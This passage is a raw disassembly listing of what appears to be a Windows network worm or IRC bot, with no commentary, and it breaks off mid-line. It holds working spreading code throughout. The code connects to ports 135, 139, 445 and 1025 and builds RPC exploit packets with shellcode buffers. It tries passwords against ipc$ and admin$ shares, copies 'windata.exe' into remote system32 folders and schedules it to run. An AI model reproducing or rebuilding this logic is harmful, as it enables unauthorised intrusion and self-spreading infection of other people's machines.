sub_40E971 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40F76F xor eax, eax jmp loc_40F875 ; --------------------------------------------------------------------------- loc_40F76F: ; CODE XREF: seg000:0040F766j mov [ebp-0Ch], esi loc_40F772: ; CODE XREF: seg000:0040F850j test esi, esi jnz loc_40F856 push 6 push 1 push 2 call ds:dword_42B20C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40F83E push dword ptr [ebp+0A8h] xor eax, eax lea edi, [ebp-1Ah] stosd stosd stosd stosw mov word ptr [ebp-1Ch], 2 call ds:dword_444260 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call ds:dword_44417C ; inet_addr mov [ebp-18h], eax push 10h lea eax, [ebp-1Ch] push eax push ebx call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz short loc_40F833 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40F7FB sub esp, 1Ch lea eax, [ebp+0Ch] mov ecx, esp mov [ebp-20h], esp push eax call sub_40F6AF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40F5F6 add esp, 28h jmp short loc_40F830 ; --------------------------------------------------------------------------- loc_40F7FB: ; CODE XREF: seg000:0040F7D7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40F815 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40EE6B jmp short loc_40F82D ; --------------------------------------------------------------------------- loc_40F815: ; CODE XREF: seg000:0040F805j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40F833 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40ED91 loc_40F82D: ; CODE XREF: seg000:0040F813j add esp, 0Ch loc_40F830: ; CODE XREF: seg000:0040F7F9j movzx esi, al loc_40F833: ; CODE XREF: seg000:0040F7CEj ; seg000:0040F81Fj push ebx call ds:dword_444218 ; closesocket test esi, esi jnz short loc_40F849 loc_40F83E: ; CODE XREF: seg000:0040F78Bj push 3E8h call ds:dword_42B014 ; Sleep loc_40F849: ; CODE XREF: seg000:0040F83Cj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40F772 loc_40F856: ; CODE XREF: seg000:0040F774j lea ecx, [ebp-8] call sub_40E7A0 test esi, esi jz short loc_40F873 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] loc_40F873: ; CODE XREF: seg000:0040F860j mov eax, esi loc_40F875: ; CODE XREF: seg000:0040F76Aj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F87A proc near ; CODE XREF: seg000:0040FC33p var_24 = byte ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push esi push edi xor edi, edi push 20h lea eax, [ebp+var_24] push edi push eax mov [ebp+var_4], edi call sub_41E5F0 push offset asc_433148 ; "\\\\" mov esi, offset dword_4D50D8 push esi call sub_41EEC0 push [ebp+arg_0] push esi call sub_41EED0 push offset asc_433144 ; "\\" push esi call sub_41EED0 push offset aAdmin ; "admin$" push esi call sub_41EED0 add esp, 2Ch push edi push edi push edi lea eax, [ebp+var_24] push eax mov [ebp+var_10], esi mov [ebp+var_20], 1 mov [ebp+var_14], edi mov [ebp+var_8], edi call ds:dword_4441AC push ds:dword_4437B0 push [ebp+arg_0] push ds:dword_4D51D8 call sub_4204DD add esp, 0Ch lea eax, [ebp+var_4] push eax push 66h push ds:dword_4D51D8 call ds:dword_4440DC test eax, eax mov esi, offset dword_4D51E0 jnz short loc_40F929 mov eax, [ebp+var_4] push edi push edi push 64h push esi push 0FFFFFFFFh push dword ptr [eax+4] push edi push edi call ds:dword_42B090 ; WideCharToMultiByte loc_40F929: ; CODE XREF: sub_40F87A+98j cmp [ebp+var_4], edi jz short loc_40F937 push [ebp+var_4] call ds:dword_444140 loc_40F937: ; CODE XREF: sub_40F87A+B2j pop edi mov eax, esi pop esi leave retn sub_40F87A endp ; =============== S U B R O U T I N E ======================================= sub_40F93D proc near ; CODE XREF: sub_40F9CE+39p ; sub_40F9CE+79p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi push esi xor edi, edi call sub_41E1C0 test eax, eax pop ecx jbe short loc_40F99E lea edx, [esi+1] lea esi, [eax-1] shr esi, 1 inc esi loc_40F959: ; CODE XREF: sub_40F93D+5Fj mov al, [edx-1] cmp al, 30h jl short loc_40F96C cmp al, 39h jg short loc_40F96C movsx eax, al sub eax, 30h jmp short loc_40F972 ; --------------------------------------------------------------------------- loc_40F96C: ; CODE XREF: sub_40F93D+21j ; sub_40F93D+25j movsx eax, al sub eax, 57h loc_40F972: ; CODE XREF: sub_40F93D+2Dj mov cl, [edx] shl eax, 4 cmp cl, 30h jl short loc_40F98A cmp cl, 39h jg short loc_40F98A movsx ecx, cl lea eax, [eax+ecx-30h] jmp short loc_40F991 ; --------------------------------------------------------------------------- loc_40F98A: ; CODE XREF: sub_40F93D+3Dj ; sub_40F93D+42j movsx ecx, cl lea eax, [eax+ecx-57h] loc_40F991: ; CODE XREF: sub_40F93D+4Bj mov ecx, [esp+8+arg_4] mov [edi+ecx], al inc edi inc edx inc edx dec esi jnz short loc_40F959 loc_40F99E: ; CODE XREF: sub_40F93D+11j mov eax, edi pop edi pop esi retn sub_40F93D endp ; =============== S U B R O U T I N E ======================================= sub_40F9A3 proc near ; CODE XREF: sub_40F9CE+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov edx, eax xor esi, esi shr edx, 1 jz short loc_40F9CC push ebx push edi mov edi, [esp+0Ch+arg_0] lea eax, [edi+eax-1] loc_40F9BA: ; CODE XREF: sub_40F9A3+25j mov bl, [esi+edi] mov cl, [eax] mov [eax], bl mov [esi+edi], cl inc esi dec eax cmp esi, edx jb short loc_40F9BA pop edi pop ebx loc_40F9CC: ; CODE XREF: sub_40F9A3+Bj pop esi retn sub_40F9A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9CE proc near ; CODE XREF: sub_40FA56+69p ; sub_40FA56+89p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, [ebp+arg_0] push esi push edi xor esi, esi push ebx mov [ebp+var_4], esi mov [ebp+var_8], esi mov edi, ebx call sub_41E1C0 mov [ebp+arg_0], esi cmp eax, esi mov esi, [ebp+arg_4] pop ecx mov [ebp+var_C], eax jbe short loc_40FA41 loc_40F9F8: ; CODE XREF: sub_40F9CE+71j mov eax, [ebp+arg_0] add eax, ebx cmp byte ptr [eax], 2Dh jnz short loc_40FA36 push esi push edi mov byte ptr [eax], 0 call sub_40F93D cmp [ebp+var_8], 3 jnb short loc_40FA25 mov edi, eax push edi push esi call sub_40F9A3 add esp, 10h add esi, edi add [ebp+var_4], edi jmp short loc_40FA2C ; --------------------------------------------------------------------------- loc_40FA25: ; CODE XREF: sub_40F9CE+42j pop ecx add esi, eax add [ebp+var_4], eax pop ecx loc_40FA2C: ; CODE XREF: sub_40F9CE+55j mov eax, [ebp+arg_0] inc [ebp+var_8] lea edi, [eax+ebx+1] loc_40FA36: ; CODE XREF: sub_40F9CE+32j inc [ebp+arg_0] mov eax, [ebp+var_C] cmp [ebp+arg_0], eax jb short loc_40F9F8 loc_40FA41: ; CODE XREF: sub_40F9CE+28j push esi push edi mov byte ptr [eax+esi], 0 call sub_40F93D add eax, [ebp+var_4] pop ecx pop ecx pop edi pop esi pop ebx leave retn sub_40F9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA56 proc near ; CODE XREF: seg000:0040FBEEp var_2C = byte ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 9 pop ecx mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860" lea edi, [ebp+var_2C] rep movsd push 1 push 800h movsb call sub_4205E4 pop ecx pop ecx push 1 push [ebp+arg_4] mov esi, eax call sub_41E1C0 shr eax, 1 inc eax pop ecx inc eax push eax call sub_4205E4 mov [ebp+var_4], eax xor eax, eax mov edi, esi add esi, 10h inc eax xor ebx, ebx mov word ptr [esi], 16D0h mov word ptr [esi+2], 16D0h mov [esi+4], ebx mov [esi+8], eax mov [esi+0Ch], bx mov [esi+0Eh], ax add esi, 10h push esi push [ebp+arg_4] call sub_40F9CE add esi, eax push 2 lea eax, [ebp+arg_8] push eax push esi call sub_41F400 inc esi inc esi mov [esi], bl inc esi mov [esi], bl inc esi lea eax, [ebp+var_2C] push esi push eax call sub_40F9CE mov ecx, [ebp+arg_C] push [ebp+var_4] add esi, eax mov byte ptr [esi], 2 inc esi mov [esi], bl sub esi, edi inc esi lea eax, [esi+2] mov [edi+8], ax mov eax, [ebp+arg_0] mov [edi+0Ch], eax movzx eax, si inc eax inc eax mov byte ptr [edi], 5 mov [edi+1], bl mov byte ptr [edi+2], 0Bh mov byte ptr [edi+3], 3 mov dword ptr [edi+4], 10h mov [edi+0Ah], bx mov [ecx], eax call sub_41E2A1 add esp, 28h mov eax, edi pop edi pop esi pop ebx leave retn sub_40FA56 endp ; =============== S U B R O U T I N E ======================================= sub_40FB31 proc near ; CODE XREF: seg000:0040FC74p ; seg000:00410831p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push esi call sub_41E1C0 pop ecx mov ecx, [esp+4+arg_0] lea ecx, [ecx+eax*2-1] jmp short loc_40FB52 ; --------------------------------------------------------------------------- loc_40FB47: ; CODE XREF: sub_40FB31+23j dec eax mov byte ptr [ecx], 0 mov dl, [eax+esi] dec ecx mov [ecx], dl dec ecx loc_40FB52: ; CODE XREF: sub_40FB31+14j test eax, eax jnz short loc_40FB47 pop esi retn sub_40FB31 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1044h call sub_41EA20 push ebx xor ebx, ebx cmp ds:dword_4440DC, ebx push esi push edi jz loc_40FC28 push 9 pop ecx mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525" lea edi, [ebp-44h] rep movsd movsb xor edi, edi push ebx inc edi push edi push 2 mov [ebp-4], edi call ds:dword_444100 ; socket mov esi, eax cmp esi, ebx mov [ebp-0Ch], esi jl loc_40FC28 push dword ptr [ebp+0A8h] mov word ptr [ebp-1Ch], 2 call ds:dword_444260 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call ds:dword_44417C ; inet_addr push 8 mov [ebp-18h], eax lea eax, [ebp-14h] push ebx push eax call sub_41E5F0 add esp, 0Ch push 10h lea eax, [ebp-1Ch] push eax push esi call ds:dword_4440AC ; connect test eax, eax jl short loc_40FC28 lea eax, [ebp-8] push eax push edi lea eax, [ebp-44h] push eax push ebx call sub_40FA56 add esp, 10h push ebx push dword ptr [ebp-8] mov edi, eax push edi push esi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40FC21 push ebx push 1000h lea eax, [ebp-1044h] push eax push esi call ds:dword_42B208 ; recv test eax, eax jg short loc_40FC2F loc_40FC21: ; CODE XREF: seg000:0040FC07j push edi call sub_41E2A1 pop ecx loc_40FC28: ; CODE XREF: seg000:0040FB70j ; seg000:0040FB9Bj ... xor eax, eax loc_40FC2A: ; CODE XREF: seg000:0040FDBEj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40FC2F: ; CODE XREF: seg000:0040FC1Fj lea eax, [ebp+0Ch] push eax call sub_40F87A push eax mov [ebp-8], eax call sub_41E1C0 test eax, eax pop ecx pop ecx jz short loc_40FC28 mov edi, 104Ch push edi call sub_41E5D3 push edi mov esi, eax push 90h push esi call sub_41E5F0 push 42h push offset dword_43FAB0 push esi call sub_41F400 push dword ptr [ebp-8] lea ebx, [esi+42h] push ebx call sub_40FB31 push dword ptr [ebp-8] call sub_41E1C0 push 14h lea ebx, [ebx+eax*2] push offset aPrivate ; "\\PRIVATE$\\" push ebx call sub_41F400 push 18h mov ebx, offset dword_43FB0C lea eax, [esi+418h] push ebx push eax call sub_41F400 add esp, 40h push 18h lea eax, [esi+830h] push ebx push eax call sub_41F400 push 18h lea eax, [esi+0C48h] push offset dword_43FB28 push eax call sub_41F400 push 3Ah lea ebx, [esi+1B6h] push offset dword_43FB44 push ebx call sub_41F400 push 0FFFFh push 539h call sub_41B325 mov [ebp-8], eax add esp, 2Ch xor eax, 437h push eax call ds:dword_444260 ; htons push 158h push offset dword_43FB80 add ebx, 3Ah push ebx mov ds:word_43FC3A, ax call sub_41F400 xor ebx, ebx inc ebx lea eax, [ebp+0Ch] push ebx push eax mov byte ptr [esi+104Ah], 0 mov byte ptr [esi+104Bh], 0 call sub_41AA0A add esp, 14h cmp eax, 2 jnz short loc_40FD41 mov dword ptr [ebp-4], 8 loc_40FD41: ; CODE XREF: seg000:0040FD38j cmp eax, 3 jnz short loc_40FD64 mov [ebp-4], ebx jmp short loc_40FD64 ; --------------------------------------------------------------------------- loc_40FD4B: ; CODE XREF: seg000:0040FD68j dec dword ptr [ebp-4] push 0 push edi push esi push dword ptr [ebp-0Ch] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40FC28 loc_40FD64: ; CODE XREF: seg000:0040FD44j ; seg000:0040FD49j cmp dword ptr [ebp-4], 0 jnz short loc_40FD4B push dword ptr [ebp-0Ch] call ds:dword_444218 ; closesocket push 1F4h call ds:dword_42B014 ; Sleep push esi call sub_41E2A1 pop ecx push dword ptr [ebp-8] lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_41B128 add esp, 0C0h cmp al, 1 jnz loc_40FC28 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] mov eax, ebx jmp loc_40FC2A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDC3 proc near ; CODE XREF: sub_410047+37p var_6EC = byte ptr -6ECh var_4E4 = byte ptr -4E4h var_2E4 = byte ptr -2E4h var_154 = byte ptr -154h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_20 = byte ptr 28h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp sub esp, 6ECh push esi push edi push 20h xor edi, edi lea eax, [ebp+var_50] push edi push eax call sub_41E5F0 mov esi, [ebp+arg_8] add esp, 0Ch push edi push [ebp+arg_0] lea eax, [ebp+var_50] push [ebp+arg_4] mov [ebp+var_3C], esi push eax mov [ebp+var_4C], 1 mov [ebp+var_40], edi mov [ebp+var_34], edi call ds:dword_4441AC test eax, eax jz short loc_40FE14 push 0Ah call ds:dword_42B014 ; Sleep jmp loc_410034 ; --------------------------------------------------------------------------- loc_40FE14: ; CODE XREF: sub_40FDC3+42j push ebx push 190h lea eax, [ebp+var_2E4] push eax push 0FFFFFFFFh push esi push edi push edi mov [ebp+var_1C], offset aAdminSystem32 ; "Admin$\\system32" mov [ebp+var_18], offset aCWinntSystem32 ; "c$\\winnt\\system32" mov [ebp+var_14], offset aCWindowsSystem ; "c$\\windows\\system32" mov [ebp+var_10], offset aC ; "c" mov [ebp+var_C], offset aD_0 ; "d" mov [ebp+var_8], edi call ds:dword_42B07C ; MultiByteToWideChar lea eax, [ebp+var_8] push eax lea eax, [ebp+var_2E4] push eax call ds:dword_44406C test eax, eax jnz loc_410030 cmp [ebp+var_8], edi jz loc_410030 mov [ebp+var_4], edi mov esi, offset aWindata_exe ; "windata.exe" loc_40FE7C: ; CODE XREF: sub_40FDC3+150j mov eax, [ebp+var_4] push esi push [ebp+eax*4+var_1C] lea eax, [ebp+var_154] push [ebp+arg_8] push offset aSSS_2 ; "%s\\%s\\%s" push eax call sub_41E6A6 add esp, 14h push edi lea eax, [ebp+var_154] push eax push esi call ds:dword_42B048 ; CopyFileA mov ebx, eax cmp ebx, edi jnz short loc_40FF2B call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_40FF0C lea eax, [ebp+var_154] push edi push eax call sub_42065F test eax, eax pop ecx pop ecx jnz short loc_40FF0C call sub_41ECDE cdq push 0Ah pop ecx idiv ecx lea eax, [ebp+var_154] push eax mov ebx, edx add bl, 30h call sub_41E1C0 pop ecx lea ecx, [ebp+var_154] sub ecx, 5 mov [eax+ecx], bl push edi lea eax, [ebp+var_154] push eax push esi call ds:dword_42B048 ; CopyFileA mov ebx, eax cmp ebx, edi jnz short loc_40FF2B loc_40FF0C: ; CODE XREF: sub_40FDC3+F6j ; sub_40FDC3+109j inc [ebp+var_4] cmp [ebp+var_4], 5 jb loc_40FE7C cmp ebx, edi jnz short loc_40FF2B push [ebp+var_8] call ds:dword_444140 jmp loc_410033 ; --------------------------------------------------------------------------- loc_40FF2B: ; CODE XREF: sub_40FDC3+EBj ; sub_40FDC3+147j ... mov ecx, [ebp+var_8] mov eax, [ecx] push 3Ch xor edx, edx pop ebx div ebx xor edx, edx push 10h push edi sub eax, [ecx+18h] mov ecx, 5A0h inc eax inc eax div ecx lea eax, [ebp+var_30] push eax mov ebx, edx call sub_41E5F0 imul ebx, 0EA60h add esp, 0Ch push 208h lea eax, [ebp+var_6EC] push eax push 0FFFFFFFFh push esi push edi push edi mov [ebp+var_30], ebx call ds:dword_42B07C ; MultiByteToWideChar lea eax, [ebp+var_6EC] mov [ebp+var_24], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2E4] push eax call ds:dword_4440A8 test eax, eax jnz loc_410030 push offset byte_42B633 push [ebp+arg_4] call sub_41E990 pop ecx test eax, eax pop ecx mov eax, offset aNoPassword ; "(no password)" jz short loc_40FFB7 mov eax, [ebp+arg_4] loc_40FFB7: ; CODE XREF: sub_40FDC3+1EFj push eax push [ebp+arg_0] mov eax, [ebp+var_4] push [ebp+eax*4+var_1C] mov eax, [ebp+arg_B4] push [ebp+arg_8] shl eax, 6 add eax, offset aNetbios ; "NetBios" push eax push offset unk_43319C lea eax, [ebp+var_4E4] push 200h push eax call sub_41E6FE add esp, 20h cmp [ebp+arg_C0], edi jnz short loc_410012 push edi push [ebp+arg_BC] lea eax, [ebp+var_4E4] push eax lea eax, [ebp+arg_20] push eax push [ebp+arg_C] call sub_40123B add esp, 14h loc_410012: ; CODE XREF: sub_40FDC3+230j lea eax, [ebp+var_4E4] push eax call sub_417D70 mov eax, [ebp+arg_B4] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] pop ecx loc_410030: ; CODE XREF: sub_40FDC3+A2j ; sub_40FDC3+ABj ... xor edi, edi inc edi loc_410033: ; CODE XREF: sub_40FDC3+163j pop ebx loc_410034: ; CODE XREF: sub_40FDC3+4Cj push 1 push 1 push [ebp+arg_8] call ds:dword_4440D8 loc_410041: ; DATA XREF: seg000:00410419o mov eax, edi pop edi pop esi leave retn sub_40FDC3 endp ; =============== S U B R O U T I N E ======================================= sub_410047 proc near ; CODE XREF: seg000:004101DFp ; seg000:00410256p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch cmp ds:off_43C270, 0 push ebx push esi push edi jz short loc_4100A3 mov eax, offset off_43C270 mov ebx, eax loc_41005A: ; CODE XREF: sub_410047+5Aj sub esp, 0BCh push 2Fh pop ecx mov edi, esp push [esp+0C8h+arg_4] lea esi, [esp+0CCh+arg_8] push dword ptr [eax] rep movsd push [esp+0D0h+arg_0] call sub_40FDC3 add esp, 0C8h cmp eax, 1 jz short loc_4100A9 push 0C8h call ds:dword_42B014 ; Sleep add ebx, 4 cmp dword ptr [ebx], 0 mov eax, ebx jnz short loc_41005A loc_4100A3: ; CODE XREF: sub_410047+Aj xor eax, eax loc_4100A5: ; CODE XREF: sub_410047+65j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4100A9: ; CODE XREF: sub_410047+45j xor eax, eax inc eax jmp short loc_4100A5 sub_410047 endp ; --------------------------------------------------------------------------- loc_4100AE: ; DATA XREF: seg002:0043D884o push ebp mov ebp, esp sub esp, 62Ch push ebx push esi push edi lea eax, [ebp+0Ch] push eax xor ebx, ebx lea eax, [ebp-30h] push offset aS_1 ; "\\\\%s" push eax mov [ebp-4], ebx mov [ebp-14h], ebx mov [ebp-1Ch], ebx mov [ebp-18h], ebx call sub_41E6A6 add esp, 0Ch push 3E8h lea eax, [ebp-62Ch] push eax push 0FFFFFFFFh lea eax, [ebp-30h] push eax push ebx push ebx call ds:dword_42B07C ; MultiByteToWideChar lea eax, [ebp-30h] push eax lea eax, [ebp-118h] push offset aSIpc_0 ; "%s\\ipc$" push eax mov [ebp-40h], ebx mov [ebp-34h], ebx mov [ebp-4Ch], ebx call sub_41E6A6 add esp, 0Ch lea eax, [ebp-118h] mov [ebp-3Ch], eax push ebx mov eax, offset byte_42B633 push eax push eax lea eax, [ebp-50h] push eax call ds:dword_4441AC test eax, eax jz short loc_41014E push 1 push ebx lea eax, [ebp-118h] push eax call ds:dword_4440D8 xor eax, eax jmp loc_410276 ; --------------------------------------------------------------------------- loc_41014E: ; CODE XREF: seg000:00410135j ; seg000:00410216j lea eax, [ebp-18h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-14h] push eax push 0FFFFFFFFh lea eax, [ebp-4] push eax push 2 push ebx lea eax, [ebp-62Ch] push eax call ds:dword_4440E0 push 1 mov [ebp-0Ch], eax push ebx lea eax, [ebp-118h] push eax call ds:dword_4440D8 cmp [ebp-0Ch], ebx jz short loc_410191 cmp dword ptr [ebp-0Ch], 0EAh jnz short loc_4101FE loc_410191: ; CODE XREF: seg000:00410186j mov eax, [ebp-4] cmp eax, ebx mov [ebp-10h], eax jz short loc_41020F cmp [ebp-14h], ebx mov [ebp-8], ebx jbe short loc_4101FE loc_4101A3: ; CODE XREF: seg000:004101FCj mov eax, [ebp-10h] cmp eax, ebx jz short loc_4101FE push ebx push ebx push 12Ch lea ecx, [ebp-244h] push ecx push 0FFFFFFFFh push dword ptr [eax] push ebx push ebx call ds:dword_42B090 ; WideCharToMultiByte sub esp, 0BCh push 2Fh pop ecx mov edi, esp lea eax, [ebp-30h] push eax lea eax, [ebp-244h] lea esi, [ebp+8] push eax rep movsd call sub_410047 add esp, 0C4h cmp eax, 1 jz short loc_4101FE add dword ptr [ebp-10h], 4 inc dword ptr [ebp-8] mov eax, [ebp-8] cmp eax, [ebp-14h] jb short loc_4101A3 loc_4101FE: ; CODE XREF: seg000:0041018Fj ; seg000:004101A1j ... cmp [ebp-4], ebx jz short loc_41020F push dword ptr [ebp-4] call ds:dword_444140 mov [ebp-4], ebx loc_41020F: ; CODE XREF: seg000:00410199j ; seg000:00410201j cmp dword ptr [ebp-0Ch], 0EAh jz loc_41014E cmp [ebp-4], ebx jz short loc_41022A push dword ptr [ebp-4] call ds:dword_444140 loc_41022A: ; CODE XREF: seg000:0041021Fj cmp dword ptr [ebp-0Ch], 5 jnz short loc_410273 cmp ds:off_43C220, ebx jz short loc_410273 mov eax, offset off_43C220 mov [ebp-8], eax loc_410240: ; CODE XREF: seg000:00410271j sub esp, 0BCh push 2Fh pop ecx mov edi, esp lea esi, [ebp+8] rep movsd lea ecx, [ebp-30h] push ecx push dword ptr [eax] call sub_410047 add esp, 0C4h cmp eax, 1 jz short loc_410273 mov eax, [ebp-8] add eax, 4 cmp [eax], ebx mov [ebp-8], eax jnz short loc_410240 loc_410273: ; CODE XREF: seg000:0041022Ej ; seg000:00410236j ... xor eax, eax inc eax loc_410276: ; CODE XREF: seg000:00410149j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41027B proc near ; CODE XREF: seg000:004104B4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] lea eax, [esi+esi] cmp [ebp+arg_C], eax jnb short loc_41028F or eax, 0FFFFFFFFh jmp short loc_4102AE ; --------------------------------------------------------------------------- loc_41028F: ; CODE XREF: sub_41027B+Dj xor eax, eax test esi, esi jbe short loc_4102AB mov ecx, [ebp+arg_8] loc_410298: ; CODE XREF: sub_41027B+2Ej mov edx, [ebp+arg_0] mov dl, [eax+edx] mov [ecx+eax*2], dl mov byte ptr [ecx+eax*2+1], 0 inc eax cmp eax, esi jb short loc_410298 loc_4102AB: ; CODE XREF: sub_41027B+18j mov eax, [ebp+arg_C] loc_4102AE: ; CODE XREF: sub_41027B+12j pop esi pop ebp retn sub_41027B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10A8h call sub_41EA20 push ebx push esi push edi lea eax, [ebp+0Ch] push 1 push eax call sub_41AA0A mov esi, eax cmp esi, 1 pop ecx pop ecx jz loc_4105A2 push 0FDE8h push 539h call sub_41B325 pop ecx pop ecx push eax mov [ebp-8], eax call ds:dword_444260 ; htons movzx eax, ax xor eax, 9999h mov [ebp-10h], eax push 2 lea eax, [ebp-10h] push eax push offset dword_43FD90 call sub_41F400 add esp, 0Ch mov eax, esi dec eax dec eax jz loc_4103E9 push 8522h mov dword ptr [ebp-4], 8520h call sub_41FEB2 mov dword ptr [esp], 8521h xor ebx, ebx mov esi, eax push ebx push esi call sub_41E5F0 push 24h push offset dword_43FEFC push esi call sub_41F400 mov eax, 1004600h lea edi, [esi+24h] mov ecx, 1FFAh push 2 rep stosd lea eax, [esi+7FF4h] push ebx push eax call sub_41E5F0 push 4FAh lea eax, [esi+7FF6h] push offset dword_4403F0 push eax call sub_41F400 mov eax, 4001h push 5 mov [esi+18h], eax mov [esi+20h], eax lea eax, [esi+7E0h] push offset dword_43FE7C push eax mov dword ptr [esi+8], 8520h mov dword ptr [esi+10h], 84F0h call sub_41F400 add esp, 3Ch xor edi, edi loc_4103B1: ; CODE XREF: seg000:004103CCj push 1 lea eax, [esi+edi+24h] push 90h push eax call sub_41E5F0 add esp, 0Ch inc edi cmp edi, 1A9h jle short loc_4103B1 push 195h lea eax, [esi+3Ch] push offset dword_43FCE0 push eax call sub_41F400 add esp, 0Ch jmp loc_4104EB ; --------------------------------------------------------------------------- loc_4103E9: ; CODE XREF: seg000:00410316j push 24F2h mov dword ptr [ebp-4], 24F0h call sub_41FEB2 mov dword ptr [esp], 24F1h xor ebx, ebx mov esi, eax push ebx push esi call sub_41E5F0 push 24h push offset dword_43FED8 push esi call sub_41F400 mov eax, offset loc_410041 lea edi, [esi+24h] mov ecx, 800h push 2 rep stosd lea eax, [esi+2024h] push ebx push eax call sub_41E5F0 push 4CAh lea eax, [esi+2026h] push offset dword_43FF20 push eax call sub_41F400 mov eax, 1001h push 4 mov [esi+18h], eax mov [esi+20h], eax lea eax, [esi+1654h] push offset dword_43FE78 push eax mov dword ptr [esi+8], 24F0h mov dword ptr [esi+10h], 24C0h call sub_41F400 push 8 lea eax, [esi+165Ch] push offset off_43FE84 push eax call sub_41F400 add esp, 48h mov edi, 32Ah push edi call sub_41FEB2 push edi push ebx push eax mov [ebp-0Ch], eax call sub_41E5F0 push edi mov edi, [ebp-0Ch] push edi push 195h push offset dword_43FCE0 call sub_41027B add esp, 20h cmp eax, 0FFFFFFFFh jnz short loc_4104D0 push edi call sub_41FEAD pop ecx loc_4104C8: ; CODE XREF: seg000:004106C1j xor eax, eax inc eax jmp loc_4105A4 ; --------------------------------------------------------------------------- loc_4104D0: ; CODE XREF: seg000:004104BFj push 328h lea eax, [esi+1664h] push edi push eax call sub_41F400 push edi call sub_41FEAD add esp, 10h loc_4104EB: ; CODE XREF: seg000:004103E4j cmp dword ptr [ebp+0A8h], 87h jz short loc_410517 cmp dword ptr [ebp+0A8h], 1BDh jz loc_4105A9 cmp dword ptr [ebp+0A8h], 401h jnz loc_41059B loc_410517: ; CODE XREF: seg000:004104F5j lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-20h], eax call ds:dword_444260 ; htons push ebx push 1 push 2 mov [ebp-22h], ax call ds:dword_444100 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41059B push 10h lea eax, [ebp-24h] push eax push edi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz short loc_41059B push ebx push 48h push offset dword_43FE90 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_41059B push ebx push 2710h lea eax, [ebp-10A8h] push eax push edi call ds:dword_444064 ; recv push ebx push dword ptr [ebp-4] push esi push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz loc_410670 loc_41059B: ; CODE XREF: seg000:00410511j ; seg000:0041054Aj ... push esi call sub_41FEAD loc_4105A1: ; CODE XREF: seg000:00410608j pop ecx loc_4105A2: ; CODE XREF: seg000:004102D3j ; seg000:004106AAj xor eax, eax loc_4105A4: ; CODE 